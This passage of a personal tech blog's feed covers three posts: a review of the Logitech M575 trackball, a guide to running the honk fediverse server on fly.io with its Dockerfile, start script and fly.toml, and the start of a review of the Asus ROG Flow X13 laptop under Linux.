<summary type="html">&lt;h2&gt;A short review of my first ever trackball&lt;/h2&gt;&#xA;&lt;p&gt;Ever since switching to a split keyboard, using a mouse has been rather&#xA;awkward. Do I put it in between the two halves? Not enough space. Do I&#xA;put it to the right? Again, not enough space since that&amp;rsquo;s where my&#xA;notebook sits. And then there was the pain. I had to take routine breaks&#xA;from using the mouse due to pain on the bottom-left side of my palm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter, the trackball. Trackballs are pointing devices much like the&#xA;slightly more popular rodent. They&amp;rsquo;re super old&amp;mdash;dating right back to&#xA;the post-World War II era.&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; Largely speaking, there are two kinds of&#xA;trackballs: thumbballs and fingerballs. A thumbball, like the name&#xA;suggests, is operated using the thumb. A fingerball (also called as&#xA;ambidextrous trackballs) has the ball in the center, with buttons on&#xA;either side. They behave quite like a laptop&amp;rsquo;s touchpad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trackballs take up very little space (check!), and are known to help with&#xA;RSI (also check!). So I got one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/KPMds.jpg&#34; alt=&#34;logitech ergo m575&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the &lt;a href=&#34;https://www.logitech.com/en-in/products/mice/m575-ergo-wireless-trackball.910-005873.html&#34; rel=&#34;nofollow&#34;&gt;Logitech Ergo&#xA;M575&lt;/a&gt;.&#xA;This is the cheapest Bluetooth trackball available in India. I bought it&#xA;for around INR 3500 (≈45 USD). It sits comfortably and stably in between&#xA;the two halves of my keyboard; it is so much easier on my hand&amp;mdash;it has&#xA;greatly alleviated my pain. Pictured below is my actual desk right&#xA;now&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/O97-8.jpg&#34; alt=&#34;my messy table&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The M575 is larger than your typical mouse but that&amp;rsquo;s fine since it&#xA;doesn&amp;rsquo;t move. Its curved shape is very satisfying to hold&amp;mdash;it fills&#xA;your entire palm. The build quality is pretty solid. It&amp;rsquo;s all plastic,&#xA;but that&amp;rsquo;s a good thing. Rubberized finishes are harder to clean and start&#xA;getting gooey and icky after a while.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;row&#34;&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/PeP0g.jpg&#34; style=&#34;width:300px&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/gR2La.jpg&#34; style=&#34;width:300px&#34; /&gt;&#xA;&lt;img src=&#34;https://cdn.icyphox.sh/Hdw-p.jpg&#34; style=&#34;width:300px&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;p&gt;There are a total of 5 buttons: the left and right, scroll wheel and the&#xA;forward/backward buttons, which sit to the top left. I&amp;rsquo;m not sure I like&#xA;their positioning however&amp;mdash;I prefer them by the thumb. I suppose the&#xA;ball takes up that space. Speaking of the ball: it&amp;rsquo;s a sparkly&#xA;plastic-ish (not sure really) material and it&amp;rsquo;s pretty light. It can&#xA;(and needs to be) popped off now and then for cleaning. The ball sits on&#xA;three ceramic bearings which are very smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It ships with a single AA battery with an advertised runtime of 24&#xA;months. Connectivity is either via Bluetooth or a USB-A dongle found in&#xA;the battery compartment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for software, &lt;a href=&#34;https://github.com/pwr-Solaar/Solaar&#34; rel=&#34;nofollow&#34;&gt;Solaar&lt;/a&gt; is a GUI&#xA;(and a CLI) for various Logitech devices, the M575 included. I couldn&amp;rsquo;t&#xA;get much use out of it aside from tweaking DPI settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/2d09m.png&#34; alt=&#34;solaar screenshot&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A neat trick, and decidedly more useful, is enabling scrolling using the&#xA;trackball. On NixOS&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;, this simply requires adding the following to&#xA;&lt;code&gt;services.xserver&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-nix&#34;&gt;libinput = {&#xA; enable = true;&#xA; mouse = {&#xA; scrollButton = 2;&#xA; scrollMethod = &amp;quot;button&amp;quot;;&#xA; };&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this, I can simply hold down the left and right buttons (equivalent&#xA;to pressing the scroll wheel), and scroll with the trackball. Want to&#xA;scroll all the way to the bottom? Just flick! It&amp;rsquo;s glorious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;m a baller now.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/Trackball#History&#34; rel=&#34;nofollow&#34;&gt;https://en.wikipedia.org/wiki/Trackball#History&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;That is indeed another split keyboard in the works. &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;p&gt;Refer to &lt;a href=&#34;https://wiki.archlinux.org/title/libinput#Scroll_with_mouse_by_holding_a_button&#34; rel=&#34;nofollow&#34;&gt;this Arch Wiki&#xA;entry&lt;/a&gt;&#xA;for how it&amp;rsquo;s done on other Linuxes.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>Honkin&#39; on the Fly</title>
<updated>2022-05-25T00:00:00Z</updated>
<id>tag:icyphox.sh/,2022-05-25:blog/honk-fly</id>
<link href="https://icyphox.sh/blog/honk-fly"></link>
<summary type="html">&lt;h2&gt;Running honk on fly.io&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 2022&amp;ndash;08&amp;ndash;11&lt;/strong&gt;: As with literally every update of mine, I&amp;rsquo;m no&#xA;longer running honk on Fly. It&amp;rsquo;s way easier to simply run it on a server&#xA;myself, behind nginx. Huh&amp;mdash;who knew?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those unaware&amp;mdash;first of all, how? it&amp;rsquo;s literally everywhere&amp;mdash;&lt;a href=&#34;https://fly.io&#34; rel=&#34;nofollow&#34;&gt;fly.io&lt;/a&gt; is the new platform-as-a-service du jour. The&#xA;idea is to give them a Dockerfile (or a pre-built image, or just generic&#xA;applications in &lt;a href=&#34;https://fly.io/docs/getting-started/#language-guides&#34; rel=&#34;nofollow&#34;&gt;a bunch of&#xA;languages&lt;/a&gt;), and&#xA;they run it for you on servers across the globe. Firecracker microVMs,&#xA;WireGuard, and some other neat tech. Understandably, this gets the&#xA;average Hacker News-type (me), excited. And I&amp;rsquo;d been meaning to switch&#xA;my fediverse instance over to&#xA;&lt;a href=&#34;https://humungus.tedunangst.com/r/honk&#34; rel=&#34;nofollow&#34;&gt;honk&lt;/a&gt;&amp;mdash;a stateful Go&#xA;application using sqlite&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;. And the fly.io folks &lt;a href=&#34;https://fly.io/blog/all-in-on-sqlite-litestream/&#34; rel=&#34;nofollow&#34;&gt;really like&#xA;sqlite&lt;/a&gt;. The stars&#xA;have aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I trust that you can figure out the initial setup bits like logging in&#xA;to the dashboard and giving them your credit card info and praying that&#xA;they don&amp;rsquo;t run you a bill of $5000 because you somehow blew through&#xA;their free allowance resources. As I understand it, Fly &amp;ldquo;auto-scales&amp;rdquo;,&#xA;so this scenario isn&amp;rsquo;t unlikely&amp;mdash;however, &lt;a href=&#34;https://news.ycombinator.com/item?id=31392497&#34; rel=&#34;nofollow&#34;&gt;they do offer some&#xA;leniency&lt;/a&gt;. Luckily, the&#xA;chances of me turning into a fedi-influencer (&lt;em&gt;fedifluencer&lt;/em&gt;?) overnight&#xA;are rather slim.&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;setup&#34;&gt;setup&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;They want a Dockerfile, so let&amp;rsquo;s give them one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM golang:1.18-alpine AS builder&#xA;RUN apk add sqlite-dev build-base mercurial&#xA;&#xA;WORKDIR /tmp/src&#xA;RUN hg clone https://humungus.tedunangst.com/r/honk &#xA;RUN cd honk &amp;amp;&amp;amp; make&#xA;&#xA;FROM alpine:latest&#xA;RUN apk add sqlite sqlite-dev&#xA;&#xA;COPY local /tmp/local&#xA;COPY memes /tmp/memes&#xA;COPY emus /tmp/emus&#xA;&#xA;WORKDIR /opt&#xA;COPY --from=builder /tmp/src/honk/honk /bin/&#xA;COPY --from=builder /tmp/src/honk/views views/&#xA;COPY start /bin&#xA;&#xA;ENV HONK_DATA_DIR &amp;quot;/opt/data&amp;quot;&#xA;ENV HONK_VIEWS_DIR &amp;quot;/opt/&amp;quot;&#xA;&#xA;CMD [&amp;quot;/bin/start&amp;quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not too much going on here&amp;mdash;we pull latest tip, build honk, copy the&#xA;&lt;code&gt;local&lt;/code&gt; directory containing our &lt;code&gt;local.css&lt;/code&gt; (custom styles); the&#xA;&lt;code&gt;memes&lt;/code&gt; directory containing, well, memes (PNGs and GIFs); and the&#xA;&lt;code&gt;emus&lt;/code&gt; directory containing emoji (used as &lt;code&gt;:filename:&lt;/code&gt;). These will&#xA;then be copied into the Fly volume later on by the &lt;code&gt;start&lt;/code&gt; script. Kinda&#xA;gross, but whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;start&lt;/code&gt; script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;#!/bin/sh&#xA;&#xA;run() {&#xA; cp -R /tmp/memes/* &amp;quot;$HONK_DATA_DIR&amp;quot;/memes/&#xA; cp -R /tmp/memes/* &amp;quot;$HONK_DATA_DIR&amp;quot;/emus/&#xA; cp -R /tmp/local/* &amp;quot;$HONK_DATA_DIR&amp;quot;/views/&#xA;&#xA; honk -datadir &amp;quot;$HONK_DATA_DIR&amp;quot; -viewdir &amp;quot;$HONK_VIEWS_DIR&amp;quot;&#xA;}&#xA;&#xA;# first time setup&#xA;if [ ! -f &amp;quot;$HONK_DATA_DIR/honk.db&amp;quot; ]; then&#xA; honk init &amp;lt;&amp;lt;-EOF&#xA; $HONK_USERNAME&#xA; $HONK_PASSWORD&#xA; $HONK_ADDRESS&#xA; $HONK_SERVER_NAME&#xA; EOF&#xA;fi&#xA;&#xA;run&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This simply copies our stuff from the container into the volume, and&#xA;launches honk. If the honk database doesn&amp;rsquo;t yet exist, we run &lt;code&gt;honk&#xA;init&lt;/code&gt; and set it up. These environment variables are configured in the&#xA;&lt;code&gt;fly.toml&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-toml&#34;&gt;app = &amp;quot;honk&amp;quot;&#xA;&#xA;kill_signal = &amp;quot;SIGINT&amp;quot;&#xA;kill_timeout = 5&#xA;processes = []&#xA;&#xA;[mounts]&#xA; source = &amp;quot;honkstore&amp;quot;&#xA; destination = &amp;quot;/opt/data&amp;quot;&#xA;&#xA;[env]&#xA; HONK_USERNAME = &amp;quot;icy&amp;quot;&#xA; HONK_ADDRESS = &amp;quot;0.0.0.0:8080&amp;quot;&#xA; HONK_SERVER_NAME = &amp;quot;h.icyphox.sh&amp;quot;&#xA;&#xA;[experimental]&#xA; allowed_public_ports = []&#xA; auto_rollback = true&#xA;&#xA;[[services]]&#xA; http_checks = []&#xA; internal_port = 8080&#xA; processes = [&amp;quot;app&amp;quot;]&#xA; protocol = &amp;quot;tcp&amp;quot;&#xA; script_checks = []&#xA;&#xA; [services.concurrency]&#xA; hard_limit = 50&#xA; soft_limit = 20&#xA; type = &amp;quot;connections&amp;quot;&#xA;&#xA; [[services.ports]]&#xA; force_https = true&#xA; handlers = [&amp;quot;http&amp;quot;]&#xA; port = 80&#xA;&#xA; [[services.ports]]&#xA; handlers = [&amp;quot;tls&amp;quot;, &amp;quot;http&amp;quot;]&#xA; port = 443&#xA;&#xA; [[services.tcp_checks]]&#xA; grace_period = &amp;quot;1s&amp;quot;&#xA; interval = &amp;quot;15s&amp;quot;&#xA; restart_limit = 0&#xA; timeout = &amp;quot;2s&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;fly.toml&lt;/code&gt; gets generated when you first run &lt;code&gt;fly launch&lt;/code&gt;. The only&#xA;bits I&amp;rsquo;ve added are the &lt;code&gt;env&lt;/code&gt; and &lt;code&gt;mounts&lt;/code&gt; sections. Notice that&#xA;&lt;code&gt;HONK_PASSWORD&lt;/code&gt; is missing, and for good reason&amp;mdash;Fly has support for&#xA;secrets, which can be created quite handily using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ flyctl secrets set HONK_PASSWORD=&amp;quot;$(pw -s honk)&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;deploy&#34;&gt;deploy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The only thing left to do is to provision our volume for persistence,&#xA;and we&amp;rsquo;re off to the races:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ flyctl volumes create honkstore --region maa&#xA; ID: vol_1g67340omkm4ydxw&#xA; Name: honkstore&#xA; App: honk&#xA; Region: maa&#xA; Zone: aed0&#xA; Size GB: 10&#xA; Encrypted: true&#xA;Created at: 21 May 22 16:07 UTC&#xA;&#xA;$ flyctl deploy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2 id=&#34;post-deploy&#34;&gt;post-deploy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I like having pretty usernames. In this case, I want to drop the &lt;code&gt;h.&lt;/code&gt;&#xA;subdomain and have it look like this: &lt;code&gt;icy@icyphox.sh&lt;/code&gt;. To do this, we&#xA;simply set the &lt;code&gt;masqname&lt;/code&gt; key in the database to our desired&#xA;hostname&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;$ honk setconfig &#39;masqname&#39; &#39;icyphox.sh&#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And at &lt;code&gt;icyphox.sh&lt;/code&gt;, we setup a redirect to &lt;code&gt;h.icyphox.sh&lt;/code&gt; at the&#xA;&lt;code&gt;/.well-known/webfinger&lt;/code&gt; path. I did this &lt;a href=&#34;https://github.com/icyphox/site/commit/4bbc8335481a0466d7c23953b0f6057f97607ed1&#34; rel=&#34;nofollow&#34;&gt;via&#xA;Netlify&lt;/a&gt;;&#xA;you can do it however, as long as the query parameters are preserved.&#xA;Read more about webfingers and other thingamabobs&#xA;&lt;a href=&#34;https://docs.joinmastodon.org/spec/webfinger/&#34; rel=&#34;nofollow&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a bunch more like custom CSS, avatars etc. but I&amp;rsquo;ll leave that as&#xA;homework for you&#xA;(&lt;a href=&#34;https://humungus.tedunangst.com/r/honk/m/honk.8&#34; rel=&#34;nofollow&#34;&gt;honk(8)&lt;/a&gt; is mandatory&#xA;reading!).&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;thoughts&#34;&gt;thoughts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On Fly&lt;/strong&gt;: I think it&amp;rsquo;s neat. Rough edges? Sure. My &lt;a href=&#34;https://community.fly.io/t/app-stuck-in-pending-in-maa-region/5280&#34; rel=&#34;nofollow&#34;&gt;deploy was stuck&#xA;in&#xA;&lt;code&gt;pending&lt;/code&gt;&lt;/a&gt;;&#xA;I had to delete it and re-create it for it to start working again. I&#xA;lost my data in the process because volumes are attached to apps.&#xA;Perhaps I should&amp;rsquo;ve waited and the problem would&amp;rsquo;ve fixed itself. Who&#xA;knows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that&amp;rsquo;s the eternal problem with PaaS&amp;mdash;there&amp;rsquo;s a layer of&#xA;abstraction that you can&amp;rsquo;t ever pierce. You can&amp;rsquo;t truly know what the&#xA;problem was unless they publish a post-mortem (or don&amp;rsquo;t). Anyway, in&#xA;this case I&amp;rsquo;ll just chalk it up to teething issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it easier than simply building it on a server and running &lt;code&gt;nohup&#xA;./honk &amp;amp;&lt;/code&gt; and calling it a day&lt;sup class=&#34;footnote-ref&#34; id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;? Not really. It&amp;rsquo;s more fun, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;On honk&lt;/strong&gt;: It&amp;rsquo;s refreshing. I liked running Pleroma + Soapbox (I still&#xA;do, haven&amp;rsquo;t killed it yet), but it always felt alien to me. I didn&amp;rsquo;t&#xA;understand the code, didn&amp;rsquo;t enjoy having to upgrade Elixir/Erlang OTP&#xA;whatever, &lt;code&gt;mix.deps get&lt;/code&gt; blah blah; a single Go binary + sqlite + HTML&#xA;templates speaks to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go follow me at &lt;a href=&#34;https://h.icyphox.sh/u/icy&#34; rel=&#34;nofollow&#34;&gt;icy@icyphox.sh&lt;/a&gt;. It&amp;rsquo;s why I&#xA;even wrote this post. Not that I can see it, honk doesn&amp;rsquo;t have those&#xA;ego-numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find all the source code to deploy honk yourself here:&#xA;&lt;a href=&#34;https://git.icyphox.sh/honk&#34; rel=&#34;nofollow&#34;&gt;https://git.icyphox.sh/honk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;footnotes&#34;&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&lt;p&gt;Written by &lt;a href=&#34;https://honk.tedunangst.com/u/tedu&#34; rel=&#34;nofollow&#34;&gt;tedu&lt;/a&gt;. He&amp;rsquo;s a cool&#xA; guy who runs and hacks OpenBSD. The honk source is a fun read.&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:1&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:2&#34;&gt;Had to setup a custom domain for this: &lt;a href=&#34;https://fly.io/docs/app-guides/custom-domains-with-fly/&#34; rel=&#34;nofollow&#34;&gt;https://fly.io/docs/app-guides/custom-domains-with-fly/&lt;/a&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:2&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&lt;p&gt;Yes that&amp;rsquo;s actually how I run a bunch of my services, including&#xA; &lt;a href=&#34;https://forlater.email&#34; rel=&#34;nofollow&#34;&gt;forlater.email&lt;/a&gt;!&lt;/p&gt; &lt;a class=&#34;footnote-return&#34; href=&#34;#fnref:3&#34;&gt;&lt;span aria-label=&#39;Return&#39;&gt;↩︎&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;/div&gt;&#xA;</summary>
</entry>
<entry>
<title>The Asus ROG Flow X13</title>
<updated>2022-05-02T00:00:00Z</updated>
<id>tag:icyphox.sh/,2022-05-02:blog/flow-x13</id>
<link href="https://icyphox.sh/blog/flow-x13"></link>
<summary type="html">&lt;h2&gt;My hunt for a new laptop has finally concluded&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/3NZ1u.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I&amp;rsquo;ve been on the lookout for a new laptop for a while now. While the HP&#xA;Envy was good&amp;mdash;is good&amp;mdash;the measly 8 gigs of RAM was struggling to&#xA;hold in all the beefy stuff that I run these days (skaffold, k3s, etc.).&#xA;And it being a &amp;ldquo;budget&amp;rdquo; laptop of its time didn&amp;rsquo;t do its chassis any&#xA;favors&amp;mdash;the bottom was very scratched because the rubber bumpons&#xA;came off; the keyboard deck had some rather mysterious scuff marks.&#xA;Anyway, off I went looking for a replacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My requirements for a laptop are somewhat specific. From the title it&amp;rsquo;s&#xA;obvious that I&amp;rsquo;d like to have good Linux support; here&amp;rsquo;s a list of&#xA;other things that I expect to see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HiDPI: Any resolution above 1080p (or 1200p). I look at text all day,&#xA;and I&amp;rsquo;d like it to be &lt;em&gt;crispy&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;13&amp;rdquo; - 14&amp;rdquo;: I don&amp;rsquo;t like overly large or heavy laptops. I think 13.3&#xA;inches is the perfect screen size; 14 is a compromise.&lt;/li&gt;&#xA;&lt;li&gt;A decent CPU: I don&amp;rsquo;t really do anything very compute intensive, but&#xA;an i7 or a Ryzen 7 should be ideal.&lt;/li&gt;&#xA;&lt;li&gt;32 GB RAM: Having struggled with 8 gigs for so long made this a hard&#xA;requirement. Never again will I have to &lt;code&gt;pkill gopls&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I can&amp;rsquo;t say I had a specific budget in mind, but anything more than 140k&#xA;INR (1.4L, ≈1800 USD) is somewhat hard to justify. Listed below were the&#xA;contenders for the prestegious position of being my laptop of choice:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tuxedo InfinityBook Pro 14&lt;/strong&gt;: While this ticks all the boxes, the&#xA;cost including shipping (as of this writing) is about 1700 EUR. And&#xA;that&amp;rsquo;s without opening the massive, stinky can of worms called Indian&#xA;Customs. Expecting a very lenient 40% duty, it&amp;rsquo;s safe to say it&amp;rsquo;s&#xA;&lt;em&gt;batshit expensive&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;ThinkPad X13&lt;/strong&gt;: Lenovo&amp;rsquo;s site allows you to customize orders for&#xA;certain models, and these will be custom built and shipped from China.&#xA;The nice thing is Lenovo takes care of the customs and shipping and&#xA;other logistics. The not-nice thing is it takes a minimum of &lt;em&gt;12&#xA;weeks&lt;/em&gt;&amp;mdash;at least for the X13. That&amp;rsquo;s 4 whole months. I think I&amp;rsquo;ll&#xA;pass.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With that preface out of the way, the machine I finally settled on was&#xA;(as the title reads) the &lt;strong&gt;Asus ROG Flow X13&lt;/strong&gt;. My model set me back by&#xA;about 130,000 INR (1.3L, ≈1700 USD). The trick was to look in the&#xA;&amp;ldquo;gaming laptops&amp;rdquo; section, because this model didn&amp;rsquo;t show up anywhere in&#xA;the thin-and-light/productivity/ultrabook searches. And it doesn&amp;rsquo;t look&#xA;gamery at all. Here&amp;rsquo;s what my Dad had to say, as a serial ThinkPad user:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;ldquo;It looks like a ThinkPad.&amp;rdquo;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2 id=&#34;hardware&#34;&gt;hardware&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I opted to buy the 2021 model because, really, the only difference in&#xA;the 2022 model is the marginally better CPU and a MUX switch. I don&amp;rsquo;t&#xA;care much for either. The octa-core Ryzen 9 5900HS has more compute&#xA;power than I could ever need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The chassis is made of a &amp;ldquo;magnesium alloy&amp;rdquo;, with a grooved finish that&#xA;feels very nice to touch. There&amp;rsquo;s very minimal branding&amp;mdash;one somewhat&#xA;&amp;ldquo;iridescent&amp;rdquo; label with the Republic of Gamers logotype on one corner of&#xA;the lid, and the ROG logo on the right palm-rest, made out of the same&#xA;groove design.&lt;/p&gt;&#xA;&#xA;&lt;table&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;&lt;/th&gt;&#xA;&lt;th&gt;&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;img src=&#34;https://cdn.icyphox.sh/J2SN2.jpg&#34; alt=&#34;&#34; /&gt;&lt;/td&gt;&#xA;&lt;td&gt;&lt;img src=&#34;https://cdn.icyphox.sh/0wFTQ.jpg&#34; alt=&#34;&#34; /&gt;&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;The hinges are sturdy and allow for 360° rotation. The lid can be opened&#xA;with a single finger, which is much appreciated. The screen itself is a&#xA;gorgeous 4K (3840×2400) touch screen panel. While the need need for 4K&#xA;on a 13&amp;rdquo; screen is questionable, I welcome it wholeheartedly. It is the&#xA;best screen I&amp;rsquo;ve used; the colors are punchy, text is (naturally) very&#xA;crisp. It&amp;rsquo;s glossy, and attracts a ton of fingerprints. A stylus is&#xA;included in the box&amp;mdash;or at least it was for me&amp;mdash;but I haven&amp;rsquo;t found&#xA;much use for it after the initial excitement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&#34;https://cdn.icyphox.sh/s7u2n.jpg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The keyboard is pretty good. Given the choice, I wouldn&amp;rsquo;t have picked&#xA;the font on the caps, but I suppose it could be worse. Three backlight&#xA;modes for low, medium and high brightness exist. These can be controlled&#xA;via the sysfs device at &lt;code&gt;/sys/class/leds/asus::kbd_backlight/&lt;/code&gt;. The&#xA;dedicated volume buttons are nice and work out of the box; the mic-mute&#xA;toggle key however needs special treatment to get detected by X11&amp;mdash;adding the below udev rule did the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code class=&#34;language-nix&#34;&gt;udev.extraHwdb = &#39;&#39;&#xA; evdev:input:b0003v0B05p19B6*&#xA; KEYBOARD_KEY_ff31007c=f20&#xA;&#39;&#39;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For ports, you get a USB-C and a USB-A on the right along with the power&#xA;button; on the left: a 3.5mm headphone/microphone jack, a HDMI 2.0 port,&#xA;and the proprietary XGm port for use with the &lt;a href=&#34;https://rog.asus.com/in/external-graphic-docks/2021-rog-xg-mobile-model/&#34; rel=&#34;nofollow&#34;&gt;XG&#xA;Mobile&lt;/a&gt;&#xA;external GPU. The eGPU port, while being generally useless to me, also&#xA;happens to contain a USB-C port, bringing the total to two. The ports&#xA;selection could be better&amp;mdash;a single USB-A is one too less, forcing me&#xA;to have to use a dongle to connect both my keyboard and mouse.&lt;/p&gt;&#xA;&#xA;&lt;table&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;&lt;/th&gt;&#xA;&lt;th&gt;&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;img src=&#34;https://cdn.icyphox.sh/xyYII.jpg&#34; alt=&#34;&#34; /&gt;&lt;/td&gt;&#xA;&lt;td&gt;&lt;img 